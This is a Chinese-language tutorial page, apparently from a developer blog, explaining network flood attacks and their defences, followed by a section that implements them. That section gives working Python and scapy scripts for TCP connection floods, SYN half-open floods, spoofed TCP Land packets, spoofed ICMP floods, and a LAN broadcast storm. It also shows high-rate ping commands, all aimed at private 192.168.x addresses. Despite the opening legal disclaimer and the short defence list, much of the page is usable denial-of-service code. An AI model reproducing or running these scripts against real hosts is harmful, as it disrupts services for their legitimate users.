泛洪攻击(Flood Attack)

执行网络攻击,包括 Ping 泛洪攻击,在绝大多数国家/地区都是非法的,它违反了计算机犯罪法律和条例。执行或尝试执行这样的攻击通常会导致法律后果,包括罚款和监禁。因此,这些信息仅供理论学习和了解,绝不应用于非法活动。

"泛洪攻击"(Flood Attack)是一种常见的网络攻击类型,其基本思路是通过极大量的网络请求来消耗目标系统的资源,从而使目标系统过载、响应缓慢或者完全无响应。这种攻击通常用来实现 DoS(拒绝服务)或 DDoS(分布式拒绝服务)攻击。

泛洪攻击的目的

泛洪攻击的主要目的通常是中断目标服务的正常运行。攻击者尝试通过超载目标的网络和/或资源(比如带宽、CPU、内存等)来使其无法为合法用户提供服务。

泛洪攻击的常见类型

1. ICMP 泛洪攻击

攻击者向目标发送大量的 ICMP Echo 请求(通常通过 ping 命令实现)来消耗网络带宽和处理资源。

2. SYN 泛洪攻击

攻击者发送大量的 SYN(同步)包,试图与目标主机建立大量的半开放连接,从而消耗其资源并尝试使其无法处理新的连接请求。

3. UDP 泛洪攻击

攻击者向目标主机发送大量的无用 UDP 包,旨在耗尽目标的网络带宽和处理能力。

4. HTTP 泛洪攻击

攻击者生成大量的 HTTP 请求,目的是耗尽目标 Web 服务器的资源。

泛洪攻击的防御

防御泛洪攻击通常涉及多种策略和工具的组合,例如:

  • 使用防火墙和 IDS(入侵检测系统)来检测并阻止异常流量。
  • 配置路由器和交换机以限制来自同一源的连接数或数据包率。
  • 使用 CDN(内容分发网络)或 DDoS 防护服务来分散攻击流量。
  • 实施负载均衡来分担服务器的负载。
  • 使用 Web 应用程序防火墙(WAF)来过滤恶意 HTTP 请求。

泛洪攻击的实现

1. socket, tcp三次握手
py 复制代码
import socket
from scapy.layers.inet import IP, TCP, ICMP
from scapy.sendrecv import send, sendp

def socket_flood(ip, port):
    while True:
        s = socket.socket()
        s.connect((ip, port))
        
if __name__ == '__main__':
    ip = '192.168.110.130'
    port = 5000
    for i in range(500):
        threading.Thread(target=socket_flood, args=(ip, port)).start()
2. scapy, 半连接
py 复制代码
def scapy_flood(ip, port):
    while True:
        sport = random.randint(10000, 30000) # 随机源端口
        pkg = IP(dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
3. scapy, TCP Land

将源ip伪造成与目标ip一样

py 复制代码
def tcp_land(ip, port):
    while True:
        sport = random.randint(10000, 30000)
        pkg = IP(src=ip, dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
4. scapy, icmp 内网泛洪

伪造内网ip, 从ip层进行攻击, 不针对某一个端口

py 复制代码
def icmp_flood(ip):
    ip_list = ['192.168.110.130','192.168.110.129','192.168.110.128','192.168.110.131']
    payload = 'abcdefghijkabc'*100
    while True:
        src_ip = random.choice(ip_list)
        pkg = IP(src=src_ip, dst=ip)/ICMP()/payload*100  # 100个数据包
        send(pkg, verbose=False)
5. scapy, icmp 内网广播风暴

在内网将payload发送给255地址, 那么处于同一个网段内的ip都将获取到广播数据包.

支持广播的协议都可以做到, 比如UDP协议.

py 复制代码
def icmp_broadcast():
    payload = 'abcdefghijkabc'*100
    while True:
        pkg = IP(dst='192.168.112.255')/ICMP()/payload*100
        send(pkg, verbose=False)
        
6. Linux 中的 ping 命令
6.1 ping -i -s

在linux系统中使用 ping 命令的 -i -s 参数:

-i 参数用于指定连续两个 ping 包之间的间隔时间(秒为单位)

-s 参数用于指定要发送的数据包的大小(字节为单位)

将每次ping的间隔设置到非常短, 比如1ms.

将ping的数据包设置到非常大, 这个值要根据目标服务器能够接受的字节大小来设置, 需要探测.

py 复制代码
ping -i 0.001 -s 5000 192.168.110.129 # 间隔1ms, 每个5000字节

在windows系统中的 ping 不能设置 ICMP 报文的发送间隔, 间隔默认最快为1s.

6.2 ping -f

ping -f 被用于 "flood ping"。Flood ping 是向目标地址发送大量的 ping 请求包,常常用于压力测试网络。在允许这个选项的系统中,通常只有超级用户(root)能够执行带有 -f 参数的 ping 命令,因为滥用它可以轻易地导致网络拥堵。

py 复制代码
ping -f 192.168.110.129
相关推荐
是逍遥子没错2 小时前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
2501_937860943 小时前
网络核心|OSI七层、TCP/IP五层模型,封装和分用详解
网络·网络协议·tcp/ip
宵时待雨5 小时前
linux笔记归纳18:传输层协议TCP
linux·网络·笔记·网络协议·tcp/ip
captain3765 小时前
▲网络原理(1)-UDP
网络·网络协议·tcp/ip
开开心心就好6 小时前
清理此电脑网盘图标工具,开源免费好用
网络·网络协议·tcp/ip·智能手机·电脑·scala·erlang
企业数字化笔记8 小时前
AI写的网站一直自动跳转怎么办?301、302和HTTPS重定向排查
网络协议·http·https
IT摆渡者8 小时前
1panel 针对HTTP自动续签SSL网站证书
网络协议·ssl·openresty
那年窗外下的雪.9 小时前
AIDC 学习日志|第 24 天|设备输出反推与 MAC Flapping 定位
网络协议·学习·tcp/ip·http·macos·tcpdump
sugar__salt10 小时前
大模型流式输出完全指南(上):从 HTTP 长连接到手写 SSE
网络·网络协议·http
wuyk55514 小时前
【Socket 进阶之路】第 3 章 TCP 三次握手 & 四次挥手深度剖析|连接建立、断开、状态机、TIME_WAIT 核心工程问题
服务器·开发语言·网络·物联网·网络协议·tcp/ip